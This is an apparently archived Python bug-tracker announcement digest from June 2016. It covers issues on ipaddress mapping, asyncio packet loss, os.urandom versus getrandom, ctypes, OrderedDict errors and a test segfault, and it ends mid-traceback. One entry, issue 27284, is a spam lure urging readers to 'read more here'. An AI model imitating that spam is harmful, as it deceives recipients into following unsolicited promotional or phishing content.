::ffff:1.2.3.4 style IPs Message-ID: <1465397723.89.0.175384049159.issue27269@psf.upfronthosting.co.za> New submission from ThiefMaster: I'd expect the IPv4 address to be considered part of that network (or actually parsed as an IPv4Address and not IPv6Address) even if it's written in IPv6 notation. It's an IPv4 after all. Python 3.5.1 (default, Jun 7 2016, 09:20:44) [GCC 4.9.3] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import ipaddress >>> ipaddress.ip_address('::ffff:127.0.0.1') IPv6Address('::ffff:7f00:1') >>> ipaddress.ip_address('::ffff:127.0.0.1') in ipaddress.ip_network('127.0.0.0/8') False >>> ipaddress.ip_address('127.0.0.1') in ipaddress.ip_network('127.0.0.0/8') True ---------- components: Library (Lib) messages: 267861 nosy: ThiefMaster priority: normal severity: normal status: open title: ipaddress: Wrong behavior with ::ffff:1.2.3.4 style IPs type: behavior versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 15:47:43 2016 From: report at bugs.python.org (Xavier de Gaye) Date: Wed, 08 Jun 2016 19:47:43 +0000 Subject: [New-bugs-announce] [issue27270] 'parentheses-equality' warnings when building with clang and ccache Message-ID: <1465415263.12.0.159795814979.issue27270@psf.upfronthosting.co.za> New submission from Xavier de Gaye: Building Python with clang and ccache produces about 200 'parentheses-equality' warnings with the message: warning: equality comparison with extraneous parentheses [-Wparentheses-equality] It seems that clang does not recognize that these extraneous parentheses are valid [1] after a macro expansion because the preprocessing is done as a separate stage by ccache. [1] For example: With the macros: #define Py_TYPE(ob) (((PyObject*)(ob))->ob_type) #define PyLong_CheckExact(op) (Py_TYPE(op) == &PyLong_Type) The statement: if (PyLong_CheckExact(v)) is expanded to: if (((((PyObject*)(v))->ob_type) == &PyLong_Type)) and produces the warning with ccache. ---------- components: Devguide files: clang_ccache.patch keywords: patch messages: 267881 nosy: eric.araujo, ezio.melotti, ncoghlan, willingc, xdegaye priority: normal severity: normal stage: patch review status: open title: 'parentheses-equality' warnings when building with clang and ccache type: enhancement Added file: http://bugs.python.org/file43309/clang_ccache.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 16:17:39 2016 From: report at bugs.python.org (valdemar pavesi) Date: Wed, 08 Jun 2016 20:17:39 +0000 Subject: [New-bugs-announce] [issue27271] asyncio lost udp packets Message-ID: <1465417059.51.0.620953300582.issue27271@psf.upfronthosting.co.za> New submission from valdemar pavesi: hello, I am using asyncio to handle 165 udp-packet per second everything received by (datagram_received) will be put into a queue. +++ 124605 UDP packets send from client. and received by server network: dumpcap ( filter "port 59999 and len > 100" ) Packets: 124605 correct number send and received. 124605 ++++++ received by application: def datagram_received(self, data, addr): [2016-06-08 14:59:49] total udp = 124255,queue size =0 [2016-06-08 14:59:49] Got 124255 json report from server. only 124255 received by application. 124605 - 124255 = 350 udp , received by network card , but application never got it. +++ code: ######################################### class UDPProtocolServerTraffica: def __init__(self): self.transport = None # heart beat timer self.HEARTBEAT_TIMEOUT = 10.0 self.REPORTSHOWTOTAL_TIMEOUT=60.0 self.MSG_UDP_HEARTBEAT = b'\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00' self.UDPCount = 0 def connection_made(self, transport): self.transport = transport # traffica startup message self.transport.sendto(self.MSG_UDP_HEARTBEAT, (fns_remote_host, fns_remote_port)) # start 10 seconds timeout timer self.h_timeout = asyncio.get_event_loop().call_later(self.HEARTBEAT_TIMEOUT, self.timeout_heartbeat) # show total report self.h_timeout = asyncio.get_event_loop().call_later(self.REPORTSHOWTOTAL_TIMEOUT, self.timeout_report_showtotal) def datagram_received(self, data, addr): #fns_mmdu_ipaddr = addr [0] #fns_mmdu_port = addr [1] Report_Id = (int.from_bytes(data[0:2], byteorder='big')) if Report_Id != 327: self.UDPCount += 1 # send message to queue asyncio_queue.put_nowait(data) def pause_reading(self): print('pause_reading') def resume_reading(self): print('resume_reading') def error_received(self, exc): print('Error received:', exc) def connection_lost(self, exc): print('stop', exc) def timeout_heartbeat(self): self.transport.sendto(self.MSG_UDP_HEARTBEAT, (fns_remote_host, fns_remote_port)) self.h_timeout = asyncio.get_event_loop().call_later(self.HEARTBEAT_TIMEOUT, self.timeout_heartbeat) #print('queue size ',asyncio_queue.qsize()) def timeout_report_showtotal(self): self.h_timeout = asyncio.get_event_loop().call_later(self.REPORTSHOWTOTAL_TIMEOUT, self.timeout_report_showtotal) self.displayReportTotalCount() elasticsearch_get_all_reports() def displayReportTotalCount(self): logging.info('Total udp from fns: ' + str(self.UDPCount) + ' , queue size: ' + str(asyncio_queue.qsize()) ) regards! Valdemar ---------- components: asyncio messages: 267884 nosy: gvanrossum, haypo, valdemar.pavesi, yselivanov priority: normal severity: normal status: open title: asyncio lost udp packets versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 17:58:16 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 08 Jun 2016 21:58:16 +0000 Subject: [New-bugs-announce] [issue27272] random.Random should not read 2500 bytes from urandom Message-ID: <1465423096.81.0.204885224668.issue27272@psf.upfronthosting.co.za> New submission from STINNER Victor: Reading more than 256 bytes from os.urandom() is different than reading 256 bytes or less. For example, see getrandom() and getentropy() manual pages for more details. random.Random doesn't need a very high quality entropy. The glib library only reads 128 bits from /dev/urandom to initialize the Mersenne Twister RNG for example. ---------- messages: 267905 nosy: christian.heimes, haypo priority: normal severity: normal status: open title: random.Random should not read 2500 bytes from urandom versions: Python 2.7, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 19:59:23 2016 From: report at bugs.python.org (Akira Li) Date: Wed, 08 Jun 2016 23:59:23 +0000 Subject: [New-bugs-announce] [issue27273] subprocess.run(cmd, input='text') should pass universal_newlines=True to Popen Message-ID: <1465430363.96.0.915441067061.issue27273@psf.upfronthosting.co.za> New submission from Akira Li: At the moment, subprocess.run(cmd, input='text') raises TypeError. It would be nice if universal_newlines=isinstance(input, str) if *input* is set. I've attached a corresponding patch with the necessary changes to the docs, tests and the subprocess.run() code. ---------- components: Library (Lib) files: text_input.diff keywords: patch messages: 267936 nosy: akira priority: normal severity: normal status: open title: subprocess.run(cmd, input='text') should pass universal_newlines=True to Popen type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file43314/text_input.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jun 8 23:17:38 2016 From: report at bugs.python.org (Memeplex) Date: Thu, 09 Jun 2016 03:17:38 +0000 Subject: [New-bugs-announce] [issue27274] [ctypes] Allow from_pointer creation Message-ID: <1465442258.95.0.0850234987407.issue27274@psf.upfronthosting.co.za> New submission from Memeplex: This real life example is pretty terrible: (ct.c_float * self._nfeats).from_address( ct.addressof(self._vals.contents)) The alternative of casting the pointer to pointer-to-array, then pick ptr.contents is not really better. What about a from_pointer(ptr) method? Or overloading from_address to take a pointer? Or a simple shortcut to get the address pointed to by a pointer (related: https://bugs.python.org/issue26565). I think this part of ctypes api needs to get more concise and pythonic. ---------- components: ctypes messages: 267951 nosy: memeplex priority: normal severity: normal status: open title: [ctypes] Allow from_pointer creation type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 9 00:33:55 2016 From: report at bugs.python.org (William Pitcock) Date: Thu, 09 Jun 2016 04:33:55 +0000 Subject: [New-bugs-announce] [issue27275] KeyError thrown by optimised collections.OrderedDict.popitem() Message-ID: <1465446835.8.0.930561202137.issue27275@psf.upfronthosting.co.za> New submission from William Pitcock: The C-based optimised version of collections.OrderedDict occasionally throws KeyErrors when deleting items. See https://github.com/mailgun/expiringdict/issues/16 for an example of this regression. Backporting 3.6's patches to 3.5.1 does not resolve the issue. :( ---------- components: Library (Lib) messages: 267957 nosy: kaniini priority: normal severity: normal status: open title: KeyError thrown by optimised collections.OrderedDict.popitem() type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 9 00:58:21 2016 From: report at bugs.python.org (Paul Marinescu) Date: Thu, 09 Jun 2016 04:58:21 +0000 Subject: [New-bugs-announce] [issue27276] FileFinder.find_spec() incompatible with finder specification Message-ID: <1465448301.41.0.520975382253.issue27276@psf.upfronthosting.co.za> New submission from Paul Marinescu: importlib.machinery.FileFinder.find_spec is incompatible with importlib.abc.MetaPathFinder.find_spec (different number of arguments). The following leads to a runtime error: loader = (importlib.machinery.SourceFileLoader, importlib.machinery.SOURCE_SUFFIXES) sys.meta_path.append(importlib.machinery.FileFinder('/', loader)) ---------- messages: 267961 nosy: paulmar priority: normal severity: normal status: open title: FileFinder.find_spec() incompatible with finder specification versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 9 03:28:55 2016 From: report at bugs.python.org (Rohit Mediratta) Date: Thu, 09 Jun 2016 07:28:55 +0000 Subject: [New-bugs-announce] [issue27277] Fatal Python error: Segmentation fault in test_exceptions Message-ID: <1465457335.09.0.330685258307.issue27277@psf.upfronthosting.co.za> New submission from Rohit Mediratta: Fresh clone and running test_exceptions testcase caught a Seg fault. This was being run on a Centos VM. [/loc/rom/pyd/cpython] $ ./python Python 3.6.0a1+ (default:12d939477b4f, Jun 7 2016, 17:32:31) [GCC 4.4.6 20120305 (Red Hat 4.4.6-4)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> [/loc/rom/pyd/cpython] $ ./python ../coveragepy/ run --pylib Lib/test/regrtest.py test_exceptions Run tests sequentially 0:00:00 [1/1] test_exceptions Fatal Python error: Segmentation fault Current thread 0x00007fc7324d1700 (most recent call first): File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f File "/local/romedira/pydev/cpython/Lib/test/test_exceptions.py", line 490 in f ... Segmentation fault ---------- components: Interpreter Core messages: 267965 nosy: Rohit Mediratta priority: normal severity: normal status: open title: Fatal Python error: Segmentation fault in test_exceptions type: crash versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 9 03:42:45 2016 From: report at bugs.python.org (STINNER Victor) Date: Thu, 09 Jun 2016 07:42:45 +0000 Subject: [New-bugs-announce] [issue27278] py_getrandom() uses an int for syscall() result Message-ID: <1465458165.91.0.316132030988.issue27278@psf.upfronthosting.co.za> New submission from STINNER Victor: syscall() result type is long. Moreover, long type might can smaller than the size type, so we may need to add: n = Py_MIN(size, LONG_MAX); ---------- messages: 267969 nosy: haypo priority: normal severity: normal status: open title: py_getrandom() uses an int for syscall() result versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 9 03:54:24 2016 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Thu, 09 Jun 2016 07:54:24 +0000 Subject: [New-bugs-announce] [issue27279] Add random.cryptorandom() and random.pseudorandom, deprecate os.urandom() Message-ID: <1465458864.98.0.412270875525.issue27279@psf.upfronthosting.co.za> New submission from Marc-Andre Lemburg: I propose to deprecate os.urandom() altogether due to all the issues we've discussed on all those recent tickets, see e.g. #26839, #27250, #25420. Unlike what we've told people for many years, it's clear that in the age of VMs/containers getting booted/started every few seconds, it's not longer the generic correct answer to people asking for random data, since it doesn't make a difference between crypto random and pseudo random data. By far most use cases only need pseudo random data and only very few applications require crypto random data. Instead, let's define something everybody can start to use correctly and get sane behavior on most if not all platforms. As Larry suggested in #27266, getrandom() is a good starting point for this, since it's adoption is spreading fast and it provides the necessary features we need for the two new APIs. I propose these new APIs: * random.cryptorandom() for getting OS crypto random data * random.pseudorandom() for getting OS pseudo random data Crypto applications will then clearly know that random.cryptorandom() is the right choice for them and everyone else can use random.pseudorandom(). random.cryptorandom() will guarantee that the returned data is safe for crypto applications on all platforms, blocking or raising an exception if necessary to make sure only safe data is returned. The API should get a parameter to determine whether to raise or block. random.pseudorandom() will guarantee to not block and always return random data that can be used as seeds for simulations, games, tests, monte carlo, etc. The APIs should use the getrandom() C API, where available, with appropriate default settings, i.e. blocking or raising for random.cryptorandom() and non-blocking, non-raising for random.pseudorandom(). The existing os.urandom() would then be deprecated to guide new developments to the these new APIs, getting rid of the ambiguities and problems this interface has on several platforms (see all the other tickets and https://en.wikipedia.org/wiki//dev/random for details). ---------- components: Library (Lib) messages: 267970 nosy: lemburg priority: normal severity: normal status: open title: Add random.cryptorandom() and random.pseudorandom, deprecate os.urandom() versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 9 05:14:21 2016 From: report at bugs.python.org (Arthur Carcano) Date: Thu, 09 Jun 2016 09:14:21 +0000 Subject: [New-bugs-announce] [issue27280] Paste fail in ipaddress documentation Message-ID: <1465463661.18.0.737340731231.issue27280@psf.upfronthosting.co.za> New submission from Arthur Carcano: There is a type in the `IPv6Network' constructor doc, fixed in attached patch. ---------- assignee: docs at python components: Documentation files: patch_doc_ipaddress.patch keywords: patch messages: 267999 nosy: NougatRillettes, docs at python priority: normal severity: normal status: open title: Paste fail in ipaddress documentation type: enhancement versions: Python 3.5 Added file: http://bugs.python.org/file43317/patch_doc_ipaddress.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 9 11:09:16 2016 From: report at bugs.python.org (Uri Okrent) Date: Thu, 09 Jun 2016 15:09:16 +0000 Subject: [New-bugs-announce] [issue27281] unpickling an xmlrpc.client.Fault raises TypeError Message-ID: <1465484956.65.0.651270200726.issue27281@psf.upfronthosting.co.za> New submission from Uri Okrent: Attempting to unpickle an xmlrpc.client.Fault will raise a TypeError: >>> import xmlrpc.client as xmlrpclib >>> f = xmlrpclib.Fault(42, 'Test Fault') >>> import pickle >>> s = pickle.dumps(f) >>> pickle.loads(s) Traceback (most recent call last): File "", line 1, in TypeError: __init__() missing 2 required positional arguments: 'faultCode' and 'faultString' Apparently unpickle relies on BaseException's args attribute when reconstructing an Exception class that inherits from BaseException (Fault inherits from Exception). Unfortunately, Fault implements __init__() and does call the base class constructor, but does not pass its arguments, so Fault.args is always an empty tuple. Simply passing Fault's arguments to the base class constructor allows it to be unpickled. I've included a patch for 3.x but the issue is present in 2.x as well (the code and fix are exactly the same except in xmlrpclib.py). ---------- components: Library (Lib) files: 0001-xmlrpc.client-make-Fault-pickleable.patch keywords: patch messages: 268028 nosy: Uri Okrent priority: normal severity: normal status: open title: unpickling an xmlrpc.client.Fault raises TypeError type: behavior versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43321/0001-xmlrpc.client-make-Fault-pickleable.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 9 13:14:31 2016 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 09 Jun 2016 17:14:31 +0000 Subject: [New-bugs-announce] [issue27282] Raise BlockingIOError in os.urandom if kernel is not ready Message-ID: <1465492471.33.0.216651020658.issue27282@psf.upfronthosting.co.za> New submission from Nick Coghlan: This proposal competes directly with #27250, #27266, and #27279 as possible long term solutions to the Linux/systemd os.urandom deadlock bug described in #26839 Rather than adding new APIs, or making os.urandom potentially blocking on Linux (as it was in 3.5.0 and 3.5.1), it instead proposes that os.urandom immediately raise BlockingIOError if the kernel entropy pool has not yet been initialised. This behaviour will mean that users attempting to gather strong entropy too early in the Linux boot process will fail rather than block, so affected scripts and programs can readily fall back to reading from /dev/urandom or using the random module APIs if they don't need cryptographically strong random data. Scripts that do need cryptographically strong random data can either poll os.urandom until it succeeds, or else fail explicitly and let their caller resolve the problem. ---------- messages: 268041 nosy: ncoghlan priority: normal severity: normal stage: needs patch status: open title: Raise BlockingIOError in os.urandom if kernel is not ready type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 9 19:01:59 2016 From: report at bugs.python.org (Brett Cannon) Date: Thu, 09 Jun 2016 23:01:59 +0000 Subject: [New-bugs-announce] [issue27283] Add a "What's New" entry for PEP 519 Message-ID: <1465513319.76.0.455637860602.issue27283@psf.upfronthosting.co.za> New submission from Brett Cannon: Issue to track the fact that I need to write the "What's New" entry once all other PEP 519-related work is finished. ---------- assignee: brett.cannon components: Documentation messages: 268066 nosy: brett.cannon priority: deferred blocker severity: normal stage: needs patch status: open title: Add a "What's New" entry for PEP 519 versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 10 03:20:35 2016 From: report at bugs.python.org (David Kirkby) Date: Fri, 10 Jun 2016 07:20:35 +0000 Subject: [New-bugs-announce] [issue27284] some new stuff Message-ID: <0000e385b480$ca82ba3a$884d3fbd$@onetel.net> New submission from David Kirkby: Hey, Don't miss up this new stuff, you're going to be delighted, read more here david.kirkby at onetel.net ---------- messages: 268100 nosy: drkirkby priority: normal severity: normal status: open title: some new stuff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 10 03:49:04 2016 From: report at bugs.python.org (Steve Piercy) Date: Fri, 10 Jun 2016 07:49:04 +0000 Subject: [New-bugs-announce] [issue27285] Deprecate pyvenv in favor of python3 -m venv Message-ID: <1465544944.16.0.549761687921.issue27285@psf.upfronthosting.co.za> New submission from Steve Piercy: Per https://bugs.python.org/issue25154 `pyvenv` is deprecated in favor of `python3 -m venv`. The docs for Python 3.5+ need to be updated accordingly. ---------- assignee: docs at python components: Documentation messages: 268104 nosy: docs at python, stevepiercy priority: normal severity: normal status: open title: Deprecate pyvenv in favor of python3 -m venv type: enhancement versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 10 05:37:11 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 10 Jun 2016 09:37:11 +0000 Subject: [New-bugs-announce] [issue27286] str object got multiple values for keyword argument Message-ID: <1465551431.42.0.267871198404.issue27286@psf.upfronthosting.co.za> New submission from Martin Panter: Playing with the generalized unpacking (PEP 448), I found a funny error message, when duplicate dictionary unpackings are included and also duplicate a literal keyword argument: >>> print(end=".\n", **dict(end="dupe")) # No problem TypeError: print() got multiple values for keyword argument 'end' >>> print(**dict(end=".\n"), **dict(end="dupe")) # No problem TypeError: print() got multiple values for keyword argument 'end' >>> print(end=".\n", **dict(end="dupe"), **dict(end="dupe 2")) # str object?! TypeError: str object got multiple values for keyword argument 'end' ---------- components: Interpreter Core messages: 268110 nosy: martin.panter priority: normal severity: normal status: open title: str object got multiple values for keyword argument type: behavior versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 10 08:27:10 2016 From: report at bugs.python.org (Alexander Haensch) Date: Fri, 10 Jun 2016 12:27:10 +0000 Subject: [New-bugs-announce] [issue27287] SIGSEGV when calling os.forkpty() Message-ID: <1465561630.72.0.359750002725.issue27287@psf.upfronthosting.co.za> New submission from Alexander Haensch: I recieve a segmentation fault if i call os.forkpty(). It does not happen with os.openpty(). Moreover os.fork() works fine. The basesystem is gentoo-hardened. It does only happens if threading is enabled, which is the standard. Tested python versions: 2.7.10, 3.4.3 Some backtraces and py-bt are found here: https://bugs.gentoo.org/show_bug.cgi?id=584916 Is this a known issue? At the moment i am thinking that gcc is "optimizing" something here. ---------- messages: 268118 nosy: Alexander Haensch priority: normal severity: normal status: open title: SIGSEGV when calling os.forkpty() type: crash versions: Python 2.7, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 10 15:56:39 2016 From: report at bugs.python.org (Donald Stufft) Date: Fri, 10 Jun 2016 19:56:39 +0000 Subject: [New-bugs-announce] [issue27288] secrets should use getrandom() on Linux Message-ID: <1465588599.3.0.867244099768.issue27288@psf.upfronthosting.co.za> New submission from Donald Stufft: In 3.5.0 and 3.5.1 os.urandom will, where available, use the getrandom() to block rather than get insecure random from the urandom pool on Linux. In 3.5.2 this change is reverted so that os.urandom will return possibly predictable random numbers instead of blocking waiting for /dev/urandom to be intialized. However, secrets.py is a module which is explicitly for getting cryptographically safe data for, and reverting that change means that the functions in this module are no longer cryptographically safe on Linux if they are called early enough in the boot process. Thus, secrets.py should be modified so that it no longer uses os.urandom on systems where there is a better source of randomness available-- namely getrandom() set to block on Linux. ---------- messages: 268147 nosy: brett.cannon, dstufft, ned.deily priority: release blocker severity: normal status: open title: secrets should use getrandom() on Linux type: security versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jun 10 16:34:05 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 10 Jun 2016 20:34:05 +0000 Subject: [New-bugs-announce] [issue27289] test_ftp_timeout fails with EOFError Message-ID: <1465590845.17.0.18803116863.issue27289@psf.upfronthosting.co.za> New submission from Berker Peksag: >From http://buildbot.python.org/all/builders/x86-64%20Ubuntu%2015.10%20Skylake%20CPU%203.5/builds/533/steps/test/logs/stdio ====================================================================== ERROR: test_ftp_timeout (test.test_urllib2net.TimeoutTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 1471, in ftp_open fw = self.connect_ftp(user, passwd, host, port, dirs, req.timeout) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 1493, in connect_ftp persistent=False) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 2318, in __init__ self.init() File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/urllib/request.py", line 2327, in init self.ftp.connect(self.host, self.port, self.timeout) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/ftplib.py", line 156, in connect self.welcome = self.getresp() File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/ftplib.py", line 235, in getresp resp = self.getmultiline() File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/ftplib.py", line 221, in getmultiline line = self.getline() File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/ftplib.py", line 209, in getline raise EOFError EOFError During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/test/test_urllib2net.py", line 323, in test_ftp_timeout u = _urlopen_with_retry(self.FTP_HOST, timeout=60) File "/home/buildbot/buildarea/3.5.intel-ubuntu-skylake/build/Lib/test/test_urllib2net.py", line 27, in wrapped return _retry_thrice(func, exc, *args, **kwargs) File 